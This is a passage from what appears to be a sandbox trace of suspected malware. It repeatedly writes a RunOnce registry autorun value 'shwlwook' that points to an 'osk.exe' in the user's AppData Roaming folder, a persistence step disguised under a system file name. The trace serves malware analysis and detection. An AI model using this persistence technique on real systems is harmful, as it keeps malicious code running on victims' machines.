dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.856] RegCloseKey (hKey=0x14c) returned 0x0 [0264.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.871] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.872] RegCloseKey (hKey=0x14c) returned 0x0 [0264.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.872] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.886] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.887] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.887] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.887] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.888] RegCloseKey (hKey=0x14c) returned 0x0 [0264.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.923] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.923] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.923] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.923] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.923] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.924] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.924] RegCloseKey (hKey=0x14c) returned 0x0 [0264.924] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.924] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.935] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.935] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.935] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.935] RegCloseKey (hKey=0x14c) returned 0x0 [0264.935] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.938] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.964] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.964] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.964] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.965] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.965] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.965] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.965] RegCloseKey (hKey=0x14c) returned 0x0 [0264.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.966] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.984] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.984] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.985] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.985] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.986] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.986] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.986] RegCloseKey (hKey=0x14c) returned 0x0 [0264.986] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.986] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.000] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.000] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.000] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.001] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.001] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.001] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.001] RegCloseKey (hKey=0x14c) returned 0x0 [0265.002] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.002] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.016] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.016] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.016] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.017] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.017] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.017] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.017] RegCloseKey (hKey=0x14c) returned 0x0 [0265.017] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.018] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.032] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.032] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.032] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.033] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.033] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.033] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.033] RegCloseKey (hKey=0x14c) returned 0x0 [0265.034] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.034] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.048] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.049] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.049] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.049] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.049] RegCloseKey (hKey=0x14c) returned 0x0 [0265.050] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.050] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.065] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.065] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.066] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.066] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.066] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.066] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.066] RegCloseKey (hKey=0x14c) returned 0x0 [0265.067] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.067] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.096] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.097] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.097] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.097] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.098] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.098] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.098] RegCloseKey (hKey=0x14c) returned 0x0 [0265.098] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.099] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.125] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.125] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.125] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.126] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.126] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.126] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.126] RegCloseKey (hKey=0x14c) returned 0x0 [0265.127] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.127] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.141] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.141] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.141] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.142] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.142] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.142] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.142] RegCloseKey (hKey=0x14c) returned 0x0 [0265.143] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.143] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.156] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.156] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.157] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.157] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.157] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.158] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.158] RegCloseKey (hKey=0x14c) returned 0x0 [0265.158] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.158] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.172] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.172] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.172] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.173] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.173] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.173] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.173] RegCloseKey (hKey=0x14c) returned 0x0 [0265.173] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.174] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.188] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.188] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.188] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.189] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.189] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.189] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.189] RegCloseKey (hKey=0x14c) returned 0x0 [0265.189] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.190] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.248] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.248] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.249] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.249] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.249] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.249] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.250] RegCloseKey (hKey=0x14c) returned 0x0 [0265.250] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.250] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.266] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.266] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.267] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.267] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.267] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.267] RegCloseKey (hKey=0x14c) returned 0x0 [0265.268] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.268] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.281] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.281] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.282] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.282] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.282] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.283] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.283] RegCloseKey (hKey=0x14c) returned 0x0 [0265.283] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.283] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.297] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.297] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.298] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.298] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.298] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.298] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.299] RegCloseKey (hKey=0x14c) returned 0x0 [0265.299] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.299] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.313] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.313] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.313] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.313] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.314] RegCreateKeyExA (in: hKey=0x80000001, 